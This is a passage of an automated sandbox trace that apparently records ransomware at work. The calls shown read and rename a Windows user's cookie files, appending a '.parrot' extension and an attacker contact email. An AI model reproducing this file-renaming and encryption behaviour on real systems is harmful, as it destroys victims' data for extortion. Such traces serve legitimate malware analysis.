halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.181] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.181] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.182] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.182] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x110, lpOverlapped=0x0) returned 1 [0090.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.182] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.182] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.182] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.185] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.185] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.186] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.186] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x256, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x256, lpOverlapped=0x0) returned 1 [0090.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.187] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.187] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.187] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.190] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.190] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.191] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.191] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xc4, lpOverlapped=0x0) returned 1 [0090.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.191] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.191] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.191] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.194] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.195] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.195] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.195] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x21f, lpOverlapped=0x0) returned 1 [0090.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.196] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.196] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.196] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.199] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.199] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.199] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.200] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x110, lpOverlapped=0x0) returned 1 [0090.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.200] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.200] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.200] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.203] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.203] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.204] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.204] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x76, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x76, lpOverlapped=0x0) returned 1 [0090.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.204] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.204] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.207] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.207] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.208] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x337, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x337, lpOverlapped=0x0) returned 1 [0090.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.208] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.209] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.211] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.211] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.212] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.212] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xce, lpOverlapped=0x0) returned 1 [0090.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.212] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.213] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.213] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.220] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.220] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.221] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.221] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x6c, lpOverlapped=0x0) returned 1 [0090.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.221] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.221] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.224] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.224] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.225] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.225] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x68, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x68, lpOverlapped=0x0) returned 1 [0090.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.225] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.225] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.228] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.228] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.229] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.229] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xb2, lpOverlapped=0x0) returned 1 [0090.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.229] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.229] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.233] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.233] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.234] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.234] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd7, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xd7, lpOverlapped=0x0) returned 1 [0090.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.234] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0090.234] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0090.234] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0090.281] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.281] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0090.282] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.282] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa9, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0xa9, lpOverlapped=0x0) returned 1 [0090.282] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0090.282] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.282] RtlAllocateHeap 